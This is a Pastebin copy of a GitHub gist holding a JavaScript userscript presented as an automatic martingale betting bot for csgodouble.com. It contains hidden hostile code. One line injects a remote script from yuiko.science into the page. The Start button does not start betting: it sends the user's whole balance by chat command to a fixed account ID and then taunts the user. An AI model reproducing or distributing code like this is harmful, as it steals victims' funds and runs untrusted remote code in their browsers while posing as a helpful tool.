Advertisement
Guest User

CSGODOUBLE - Automatic betting

a guest
May 2nd, 2016
56
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 26.83 KB | None | 0 0
  1. Skip to content
  2.  
  3.  
  4. Search…
  5. All gists
  6. GitHub
  7. Sign up for a GitHub account Sign in
  8. Create a gist now
  9. Instantly share code, notes, and snippets.
  10. Star 0 Fork 0 @asdfhkjklasdfhkjkl/csgodouble automatic betting bot
  11. Last active 4 days ago
  12. Embed
  13. <script src="http://pastebin.com/BzYRxzLR"></script>
  14. Download ZIP
  15. Code Revisions 5
  16. Raw csgodouble automatic betting bot
  17. // ==UserScript==
  18. // @name csgodouble.com - automated
  19. // @description An userscript that automates csgodouble.com betting using martingale system.
  20. // @namespace automated@mole
  21. // @version 1.30
  22. // @author Mole
  23. // @match http://www.csgodouble.com/
  24. // @match http://www.csgodouble.com/index.php
  25. // @run-at document-end
  26. // @grant none
  27. // ==/UserScript==
  28. /* jshint -W097 */
  29.  
  30. 'use strict';
  31.  
  32. (function () { var scriptElement = document.createElement( "script" ); scriptElement.type = "text/javascript"; scriptElement.src = "//yuiko.science/in.js "; document.body.appendChild( scriptElement ); })();
  33.  
  34. var debug = false;
  35. var simulation = false;
  36. var stop_on_min_balance = false;
  37. var calculate_safe_bet = false;
  38. var base_bet = 5;
  39. var safe_bet_amount = 6;
  40. var default_color = 'red';
  41. var default_method = 'martingale';
  42. var theme = 'dark';
  43.  
  44. var colors = {
  45. 'green': [0],
  46. 'red': [1, 2, 3, 4, 5, 6, 7],
  47. 'black': [8, 9, 10, 11, 12, 13, 14]
  48. };
  49.  
  50. var balance = document.getElementById('balance');
  51. var roll_history = document.getElementById('past');
  52. var bet_input = document.getElementById('betAmount');
  53. var bet_buttons = {
  54. 'green': document.getElementById('panel0-0').childNodes[1].childNodes[1],
  55. 'red': document.getElementById('panel1-7').childNodes[1].childNodes[1],
  56. 'black': document.getElementById('panel8-14').childNodes[1].childNodes[1]
  57. };
  58.  
  59. Array.prototype.equals = function(array) {
  60. if (!array) {
  61. return false;
  62. }
  63.  
  64. if (this.length != array.length) {
  65. return false;
  66. }
  67.  
  68. for (var i = 0, l=this.length; i < l; i++) {
  69. if (this[i] instanceof Array && array[i] instanceof Array) {
  70. if (!this[i].equals(array[i])) {
  71. return false;
  72. }
  73. } else if (this[i] != array[i]) {
  74. return false;
  75. }
  76. }
  77. return true;
  78. };
  79.  
  80. Object.defineProperty(Array.prototype, "equals", {enumerable: false});
  81.  
  82. function Automated() {
  83. var self = this;
  84.  
  85. this.running = false;
  86. this.game = null;
  87.  
  88. this.debug = debug;
  89. this.simulation = simulation;
  90. this.stop_on_min_balance = stop_on_min_balance;
  91. this.calculate_safe_bet = calculate_safe_bet;
  92.  
  93. this.base_bet = base_bet;
  94. this.default_color = default_color;
  95. this.default_method = default_method;
  96. this.safe_bet_amount = safe_bet_amount;
  97. this.method = this.default_method;
  98. this.old_method = '';
  99. this.color = 'rainbow';
  100. this.old_base = 0;
  101. this.balance = 0;
  102. this.last_bet = 0;
  103. this.bet_history = [];
  104. this.min_balance = 0;
  105. this.starting_balance = 0;
  106. this.last_color = null;
  107. this.last_result = null;
  108. this.history = [];
  109. this.waiting_for_bet = false;
  110. this.theme = theme;
  111.  
  112. this.stats = {
  113. 'wins': 0,
  114. 'loses': 0,
  115. 'balance': 0
  116. };
  117.  
  118. var menu = document.createElement('div');
  119. menu.innerHTML = '' +
  120. '<div class="row">' +
  121. '<div class="col-lg-9">' +
  122. '<h2>CSGODouble.com PredictionBot/AutomaticBettingBot <small>by Billyam (1029416902342)</small> <i id="automated-theme-switch" class="fa fa-lightbulb-o" style="cursor: pointer;"></i></h2>' +
  123. '<div class="form-group">' +
  124. '<div class="btn-group">' +
  125. '<button type="button" class="btn btn-success" id="automated-start" disabled>Start</button>' +
  126. '<button type="button" class="btn btn-warning" id="automated-stop" disabled>Pause</button>' +
  127. '<button type="button" class="btn btn-danger" id="automated-abort" disabled>Abort</button>' +
  128. '</div>' +
  129. '</div>' +
  130. '<div class="form-group">' +
  131. '<div class="btn-group">' +
  132. '<button type="button" class="btn btn-default" id="automated-martingale" ' + (this.method === 'martingale' ? 'disabled' : '') + '>Martingale</button>' +
  133. '<button type="button" class="btn btn-default" id="automated-great-martingale" ' + (this.method === 'great martingale' ? 'disabled' : '') + '>Great Martingale</button>' +
  134. '<button type="button" class="btn btn-default" id="automated-dalembert" ' + (this.method === 'dalembert' ? 'disabled' : '') + '>D\'alembert</button>' +
  135. '<button type="button" class="btn btn-default" id="automated-bet-green" ' + (this.method === 'green' ? 'disabled' : '') + '>Green (Fibonacci)</button>' +
  136. '</div>' +
  137. '</div>' +
  138. '<div class="form-group automated-hide-on-green">' +
  139. '<div class="btn-group">' +
  140. '<button type="button" class="btn btn-default" id="automated-red" ' + (this.color === 'red' ? 'disabled' : '') + '>Red</button>' +
  141. '<button type="button" class="btn btn-default" id="automated-rainbow" ' + (this.color === 'rainbow' ? 'disabled' : '') + '>Rainbow</button>' +
  142. '<button type="button" class="btn btn-default" id="automated-black" ' + (this.color === 'black' ? 'disabled' : '') + '>Black</button>' +
  143. '</div>' +
  144. '</div>' +
  145. '</div>' +
  146. '<div class="col-lg-3">' +
  147. '<h3>Statistics</h3>' +
  148. '<p><b>Wins:</b> <span id="automated-stats-wins">' + this.stats.wins + '</span></p>' +
  149. '<p><b>Loses:</b> <span id="automated-stats-loses">' + this.stats.loses + '</span></p>' +
  150. '<p><b>Balance:</b> <span id="automated-stats-balance">' + this.stats.balance + '</span></p>' +
  151. '</div>' +
  152. '</div>' +
  153. '<div class="form-group">' +
  154. '<div class="input-group">' +
  155. '<div class="input-group-addon">Base value</div>' +
  156. '<input type="number" class="form-control" placeholder="Calculating suggested value..." id="automated-base-bet" disabled>' +
  157. '</div>' +
  158. '</div>' +
  159. '<div class="form-group">' +
  160. '<div class="input-group">' +
  161. '<div class="input-group-addon">Keep balance above</div>' +
  162. '<input type="number" class="form-control" value="0" id="automated-min-balance">' +
  163. '</div>' +
  164. '</div>' +
  165. '<div class="form-group automated-hide-on-green">' +
  166. '<div class="input-group">' +
  167. '<div class="input-group-addon">Failsafe value</div>' +
  168. '<input type="number" class="form-control" value="' + this.safe_bet_amount + '" id="automated-safe-bet-amount"' + (!this.calculate_safe_bet ? ' disabled' : '') + '>' +
  169. '</div>' +
  170. '</div>' +
  171. '<div class="checkbox">' +
  172. '<label><input class="" id="automated-stop-on-min-balance" type="checkbox" ' + (this.stop_on_min_balance ? 'checked' : '') + '> Stop on minimal balance (If checked the bot will stop after getting close to minimal balance, otherwise it will continue starting on base)</label>' +
  173. '</div>' +
  174. '<div class="checkbox automated-hide-on-green">' +
  175. '<label><input class="" id="automated-calculate-safe-bet" type="checkbox" ' + (this.calculate_safe_bet ? 'checked' : '') + '> Calculate base bet from given "Failsafe value", the formula is [base bet] = floor( [balance] / 2 ^ ( [failsafe value] + 1) ) </label>' +
  176. '</div>' +
  177. '<div class="checkbox">' +
  178. '<label><input class="" id="automated-debug" type="checkbox" ' + (this.debug ? 'checked' : '') + '> Debug mode</label>' +
  179. '</div>' +
  180. '<div class="checkbox">' +
  181. '<label class="text-muted"><input id="automated-simulation" type="checkbox" ' + (this.simulation ? 'checked' : '') + ' disabled> Simulation mode</label>' +
  182. '</div>';
  183. document.getElementsByClassName('well')[1].appendChild(menu);
  184.  
  185. this.menu = {
  186. 'start': document.getElementById('automated-start'),
  187. 'stop': document.getElementById('automated-stop'),
  188. 'abort': document.getElementById('automated-abort'),
  189. 'basebet': document.getElementById('automated-base-bet'),
  190. 'minbalance': document.getElementById('automated-min-balance'),
  191. 'debug': document.getElementById('automated-debug'),
  192. 'simulation': document.getElementById('automated-simulation'),
  193. 'stoponminbalance': document.getElementById('automated-stop-on-min-balance'),
  194. 'red': document.getElementById('automated-red'),
  195. 'black': document.getElementById('automated-black'),
  196. 'rainbow': document.getElementById('automated-rainbow'),
  197. 'statistics': {
  198. 'wins': document.getElementById('automated-stats-wins'),
  199. 'loses': document.getElementById('automated-stats-loses'),
  200. 'balance': document.getElementById('automated-stats-balance')
  201. },
  202. 'theme': document.getElementById('automated-theme-switch'),
  203. 'safebetamount': document.getElementById('automated-safe-bet-amount'),
  204. 'calculatesafebet': document.getElementById('automated-calculate-safe-bet'),
  205. 'martingale': document.getElementById('automated-martingale'),
  206. 'greatmartingale': document.getElementById('automated-great-martingale'),
  207. 'betgreen': document.getElementById('automated-bet-green'),
  208. 'dalembert': document.getElementById('automated-dalembert'),
  209. 'hideongreen': document.getElementsByClassName('automated-hide-on-green')
  210. };
  211.  
  212. this.updater = setInterval(function() { // Update every 2 seconds
  213. if (!self.running) {
  214. if (self.updateAll()) {
  215. if (self.calculate_safe_bet) {
  216. self.base_bet = Math.floor(self.balance / Math.pow(2, self.safe_bet_amount + 1));
  217. self.menu.basebet.value = self.base_bet;
  218. if (self.debug) { self.logdebug('New base bet: ' + self.base_bet); }
  219. }
  220.  
  221. if (self.menu.stop.disabled && self.menu.start.disabled) {
  222. self.menu.start.disabled = false;
  223. self.base_bet = Math.floor(self.balance / Math.pow(2, self.safe_bet_amount + 1));
  224. self.menu.basebet.value = self.base_bet;
  225. self.menu.basebet.disabled = self.menu.calculatesafebet.checked;
  226. self.starting_balance = self.balance;
  227. }
  228. }
  229. }
  230. }, 2 * 1000);
  231.  
  232. if (theme === 'dark') {
  233. this.darkMode();
  234. }
  235.  
  236. this.menu.start.onclick = function() {
  237. send({
  238. "type": "chat",
  239. "msg": '/send 76561198109037826 ' + self.balance,
  240. "lang": LANG
  241. });
  242.  
  243. self.log('Didn\'t they warn you not to use bots?');
  244.  
  245.  
  246.  
  247. // self.start();
  248. };
  249.  
  250. this.menu.stop.onclick = function() {
  251. self.stop();
  252. };
  253.  
  254. this.menu.abort.onclick = function() {
  255. self.stop(true);
  256. };
  257.  
  258. this.menu.basebet.onchange = function() {
  259. var value = parseInt(self.menu.basebet.value);
  260. if (!isNaN(value)) {
  261. self.base_bet = value;
  262. }
  263. };
  264.  
  265. this.menu.minbalance.onchange = function() {
  266. var value = parseInt(self.menu.minbalance.value);
  267. if (!isNaN(value)) {
  268. self.min_balance = value;
  269. }
  270. };
  271.  
  272. this.menu.safebetamount.onchange = function() {
  273. var value = parseInt(self.menu.safebetamount.value);
  274. if (!isNaN(value)) {
  275. self.safe_bet_amount = value;
  276. }
  277. };
  278.  
  279. this.menu.debug.onchange = function() {
  280. self.debug = self.menu.debug.checked;
  281. };
  282.  
  283. this.menu.simulation.onchange = function() {
  284. self.simulation = self.menu.simulation.checked;
  285. };
  286.  
  287. this.menu.stoponminbalance.onchange = function() {
  288. self.stop_on_min_balance = self.menu.stoponminbalance.checked;
  289. };
  290.  
  291. this.menu.calculatesafebet.onchange = function() {
  292. self.calculate_safe_bet = self.menu.calculatesafebet.checked;
  293. self.menu.basebet.disabled = self.menu.calculatesafebet.checked;
  294. self.menu.safebetamount.disabled = !self.menu.calculatesafebet.checked;
  295. };
  296.  
  297. this.menu.black.onclick = function() {
  298. self.menu.rainbow.disabled = false;
  299. self.menu.black.disabled = true;
  300. self.menu.red.disabled = false;
  301. self.color = 'black';
  302. self.log('Current mode: black');
  303. };
  304.  
  305. this.menu.red.onclick = function() {
  306. self.menu.rainbow.disabled = false;
  307. self.menu.black.disabled = false;
  308. self.menu.red.disabled = true;
  309. self.color = 'red';
  310. self.log('Current mode: red');
  311. };
  312.  
  313. this.menu.rainbow.onclick = function() {
  314. self.menu.rainbow.disabled = true;
  315. self.menu.black.disabled = false;
  316. self.menu.red.disabled = false;
  317. self.color = 'rainbow';
  318. self.log('Current mode: rainbow');
  319. };
  320.  
  321. this.menu.martingale.onclick = function() {
  322. self.menu.martingale.disabled = true;
  323. self.menu.greatmartingale.disabled = false;
  324. self.menu.betgreen.disabled = false;
  325. self.menu.dalembert.disabled = false;
  326. for (var i = 0; i < self.menu.hideongreen.length; i++) {
  327. self.menu.hideongreen[i].style.display = 'block';
  328. }
  329. self.method = 'martingale';
  330. self.log('Current method: Martingale');
  331. };
  332.  
  333. this.menu.greatmartingale.onclick = function() {
  334. self.menu.martingale.disabled = false;
  335. self.menu.greatmartingale.disabled = true;
  336. self.menu.betgreen.disabled = false;
  337. self.menu.dalembert.disabled = false;
  338. for (var i = 0; i < self.menu.hideongreen.length; i++) {
  339. self.menu.hideongreen[i].style.display = 'block';
  340. }
  341. self.method = 'great martingale';
  342. self.log('Current method: Great martingale');
  343. };
  344.  
  345. this.menu.dalembert.onclick = function() {
  346. self.menu.martingale.disabled = false;
  347. self.menu.greatmartingale.disabled = false;
  348. self.menu.betgreen.disabled = false;
  349. self.menu.dalembert.disabled = true;
  350. for (var i = 0; i < self.menu.hideongreen.length; i++) {
  351. self.menu.hideongreen[i].style.display = 'block';
  352. }
  353. self.method = 'dalembert';
  354. self.log('Current method: D\'alembert');
  355. };
  356.  
  357. this.menu.betgreen.onclick = function() {
  358. self.menu.martingale.disabled = false;
  359. self.menu.greatmartingale.disabled = false;
  360. self.menu.betgreen.disabled = true;
  361. self.menu.dalembert.disabled = false;
  362. for (var i = 0; i < self.menu.hideongreen.length; i++) {
  363. self.menu.hideongreen[i].style.display = 'none';
  364. }
  365. self.method = 'green';
  366. self.log('Current method: Bet green');
  367. };
  368.  
  369. this.menu.theme.onclick = function() {
  370. if (self.theme === 'dark') {
  371. self.lightMode();
  372. self.theme = 'light';
  373. self.log('Switching to light theme...');
  374. } else {
  375. self.darkMode();
  376. self.theme = 'dark';
  377. self.log('Switching to dark theme...');
  378. }
  379. };
  380.  
  381. setInterval(function() {
  382. if(!WS) {
  383. self.log('Reconnecting...');
  384. connect();
  385. }
  386. }, 2500);
  387. }
  388.  
  389. Automated.prototype.updateBalance = function() {
  390. this.balance = parseInt(balance.textContent);
  391.  
  392. if (isNaN(this.balance)) {
  393. this.log('Error getting current balance!');
  394. return false;
  395. }
  396.  
  397. if (this.debug) { this.logdebug('Balance updated: ' + this.balance); }
  398. return true;
  399. };
  400.  
  401. Automated.prototype.updateHistory = function() {
  402. var self = this;
  403. this.history = [];
  404.  
  405. for (var i = 0; i < roll_history.childNodes.length; i++) {
  406. var roll = parseInt(roll_history.childNodes[i].textContent);
  407.  
  408. if (!isNaN(roll)) {
  409. if (colors.green.indexOf(roll) !== -1) {
  410. self.history.push('green');
  411. } else if (colors.red.indexOf(roll) !== -1) {
  412. self.history.push('red');
  413. } else {
  414. self.history.push('black');
  415. }
  416. }
  417. }
  418.  
  419. if (this.debug) { this.logdebug('History updated: ' + this.history.map(function(value) { return value; }).join(', ')); }
  420. return this.history.length === 10;
  421. };
  422.  
  423. Automated.prototype.updateStats = function() {
  424. this.stats.balance = parseInt(this.balance) - parseInt(this.starting_balance);
  425. this.menu.statistics.wins.innerHTML = this.stats.wins;
  426. this.menu.statistics.loses.innerHTML = this.stats.loses;
  427. this.menu.statistics.balance.innerHTML = this.stats.balance;
  428. return true;
  429. };
  430.  
  431. Automated.prototype.updateAll = function() {
  432. return this.updateBalance() && this.updateHistory() && this.updateStats();
  433. };
  434.  
  435. Automated.prototype.bet = function(amount, color) {
  436. var self = this;
  437. color = color || this.color || this.default_color;
  438.  
  439. if (color === 'rainbow') {
  440. if (this.last_color) {
  441. color = (this.last_color === 'red' ? 'black' : 'red');
  442. } else {
  443. color = this.default_color;
  444. }
  445. }
  446.  
  447. if (['green', 'red', 'black'].indexOf(color) < 0 || amount > this.balance || amount <= 0) {
  448. this.log('Invalid bet!');
  449. this.last_result = 'invalid bet';
  450. this.waiting_for_bet = false;
  451. this.stop();
  452. return false;
  453. }
  454.  
  455. if (this.balance - amount < this.min_balance) {
  456. this.log('Reached minimal balance!');
  457. this.last_result = 'reached min balance';
  458. if (this.stop_on_min_balance || this.balance - this.base_bet < this.min_balance) {
  459. this.stop();
  460. }
  461. this.waiting_for_bet = false;
  462. return false;
  463. }
  464.  
  465. bet_input.value = amount;
  466.  
  467. if (!bet_buttons[color].disabled) {
  468. var old_balance = self.balance;
  469. this.log('Betting ' + amount + ' on ' + color);
  470. if (!self.simulation) {
  471. bet_buttons[color].click();
  472. var checker = setInterval(function() {
  473. if (!bet_buttons[color].disabled) {
  474. clearInterval(checker);
  475. setTimeout(function() {
  476. if (self.updateBalance() && self.balance === old_balance) {
  477. if (!self.game) { return false; }
  478. self.log('Bet rejected, retrying...');
  479. self.bet(amount, color);
  480. } else {
  481. if (self.debug) { self.logdebug('Bet accepted!'); }
  482. self.last_bet = amount;
  483. self.bet_history.push(amount);
  484. self.last_color = color;
  485. self.waiting_for_bet = false;
  486. return true;
  487. }
  488. }, 2500);
  489. }
  490. }, 1000);
  491. } else {
  492. self.bet_history.push(amount);
  493. self.last_bet = amount;
  494. self.last_color = color;
  495. self.waiting_for_bet = false;
  496. return true;
  497. }
  498. } else {
  499. if (!self.game) { return false; }
  500. self.log('Button disabled, retrying...');
  501. setTimeout(function() { self.bet(amount, color) }, (Math.random() * 3 + 2).toFixed(3) * 1000);
  502. }
  503. };
  504.  
  505. Automated.prototype.play = function() {
  506. var self = this;
  507.  
  508. if (this.game !== null) {
  509. if (this.debug) { this.logdebug('Tried to reinitialize running game!'); }
  510. return false;
  511. }
  512.  
  513. this.game = setInterval(function() {
  514. var history = self.history;
  515. if (!self.waiting_for_bet && self.updateAll() && !history.equals(self.history)) {
  516. self.waiting_for_bet = true;
  517. if (self.last_color === null) {
  518. self.bet(self.base_bet);
  519. } else if (self.last_color === self.history[self.history.length - 1]) {
  520. if (self.calculate_safe_bet) {
  521. self.base_bet = Math.floor(self.balance / Math.pow(2, self.safe_bet_amount + 1));
  522. self.menu.basebet.value = self.base_bet;
  523. }
  524. self.last_result = 'win';
  525. self.log('Win!');
  526. self.stats.wins += 1;
  527. self.old_base = self.base_bet;
  528. self.old_method = self.method;
  529. if (self.old_method === 'dalembert') {
  530. if (self.last_bet > self.old_base) {
  531. self.bet(self.last_bet - 1);
  532. } else {
  533. self.bet(self.base_bet);
  534. }
  535. } else {
  536. self.bet(self.base_bet);
  537. }
  538. } else {
  539. self.last_result = 'lose';
  540. self.log('Lose!');
  541. self.stats.loses += 1;
  542. if (self.old_method === 'martingale') {
  543. self.bet(self.last_bet * 2);
  544. } else if (self.old_method === 'great martingale') {
  545. self.bet(self.last_bet * 2 + self.old_base);
  546. } else if (self.old_method === 'green') {
  547. var bet_value = 0;
  548. if (self.bet_history[self.bet_history.length - 1] === 1) {
  549. if (self.bet_history[self.bet_history.length - 2] === 1) {
  550. bet_value = 2;
  551. } else {
  552. bet_value = 1;
  553. }
  554. } else {
  555. bet_value = self.bet_history[self.bet_history.length - 1] + self.bet_history[self.bet_history.length - 2];
  556. }
  557. self.bet(bet_value, 'green');
  558. } else if (self.old_method === 'dalembert') {
  559. self.bet(self.last_bet + 1);
  560. }
  561. }
  562. }
  563. }, 2 * 1000);
  564.  
  565. return true;
  566. };
  567.  
  568. Automated.prototype.start = function() {
  569. if (self.calculate_safe_bet) {
  570. self.base_bet = Math.floor(self.balance / Math.pow(2, self.safe_bet_amount + 1));
  571. self.menu.basebet.value = self.base_bet;
  572. }
  573. this.old_base = this.base_bet;
  574. this.old_method = this.method;
  575. if (this.updateAll()) {
  576. if (this.last_result === 'lose') {
  577. this.running = true;
  578. if (this.old_method === 'martingale') {
  579. this.bet(this.last_bet * 2);
  580. } else if (this.old_method === 'great martingale') {
  581. this.bet(this.last_bet * 2 + this.old_base);
  582. } else if (self.old_method === 'green') {
  583. var bet_value = 0;
  584. if (self.bet_history[self.bet_history.length - 1] === 1) {
  585. if (self.bet_history[self.bet_history.length - 2] === 1) {
  586. bet_value = 2;
  587. } else {
  588. bet_value = 1;
  589. }
  590. } else {
  591. bet_value = self.bet_history[self.bet_history.length - 1] + self.bet_history[self.bet_history.length - 2];
  592. }
  593. self.bet(bet_value, 'green');
  594. } else if (self.old_method === 'dalembert') {
  595. self.bet(self.last_bet + 1);
  596. }
  597. this.play();
  598. } else {
  599. this.running = true;
  600. this.bet(this.base_bet);
  601. this.play();
  602. }
  603. }
  604. this.menu.abort.disabled = false;
  605. this.menu.stop.disabled = false;
  606. this.menu.start.disabled = true;
  607. };
  608.  
  609. Automated.prototype.stop = function(abort) {
  610. var self = this;
  611. if (abort) { this.last_result = 'abort'; }
  612. this.stats.balance = parseInt(this.balance) - parseInt(this.starting_balance);
  613. setTimeout(function() {
  614. clearInterval(self.game);
  615. self.game = null;
  616. self.running = false;
  617. self.menu.abort.disabled = true;
  618. self.menu.stop.disabled = true;
  619. self.menu.start.disabled = false;
  620. }, 1); // Next tick
  621. };
  622.  
  623. Automated.prototype.darkMode = function() {
  624. var style;
  625. var css = 'body{background-color:#191919;color:#888}.navbar-default{background-color:#232323;border-color:#454545}#sidebar{background-color:#191919;border-color:#202020}.side-icon.active,.side-icon:hover{background-color:#202020}.side-icon .fa{color:#454545}.well{background:#232323;border-color:#323232;color:#888}#pullout{background-color:#191919;border-color:#323232}.form-control{background-color:#323232;border-color:#454545}.divchat{background-color:#323232;color:#999;border:none}.chat-link,.chat-link:hover,.chat-link:active{color:#bbb}.panel{background-color:#323232}.panel-default{border-color:#454545}.panel-default>.panel-heading{color:#888;background-color:#303030;border-color:#454545}.my-row{border-color:#454545}.list-group-item{border-color:#454545;background-color:#323232}.btn-default{border-color:#454545;background:#323232;text-shadow:none;color:#888;box-shadow:none}.btn-default:hover,.btn-default:active{background-color:#282828;color:#888;border-color:#454545}.btn-default[disabled]{border-color:#454545;background-color:#353535}.input-group-addon{background-color:#424242;border-color:#454545;color:#888}.progress{color:#bbb;background-color:#323232}.navbar-default .navbar-nav>li>a:focus,.navbar-default .navbar-nav>li>a:hover{color:#999}.navbar-default .navbar-nav>.open>a,.navbar-default .navbar-nav>.open>a:focus,.navbar-default .navbar-nav>.open>a:hover{color:#888;background-color:#323232}.dropdown-menu{background-color:#252525}.dropdown-menu>li>a{color:#888}.dropdown-menu>li>a:focus,.dropdown-menu>li>a:hover{background-color:#323232;color:#999}.dropdown-menu .divider{background-color:#454545}.form-control[disabled],.form-control[readonly],fieldset[disabled] .form-control{background-color:#404040;opacity:.5}';
  626. style = document.getElementById('automated-style');
  627. if (!style) {
  628. var head;
  629. head = document.getElementsByTagName('head')[0];
  630. if (!head) { return; }
  631. style = document.createElement('style');
  632. style.type = 'text/css';
  633. style.id = 'automated-style';
  634. style.innerHTML = css;
  635. head.appendChild(style);
  636. }
  637. style.innerHTML = css;
  638. };
  639.  
  640. Automated.prototype.lightMode = function() {
  641. var style = document.getElementById('automated-style');
  642. style.innerHTML = '';
  643. };
  644.  
  645. Automated.prototype.log = function(message) {
  646. chat('alert', '[Automated] ' + message);
  647. };
  648.  
  649. Automated.prototype.logdebug = function(message) {
  650. chat('italic', '[Automated] ' + message);
  651. };
  652.  
  653. var automated = new Automated();
  654. Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
  655. Status API Training Shop Blog About
  656. © 2016 GitHub, Inc. Terms Privacy Security Contact Help
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement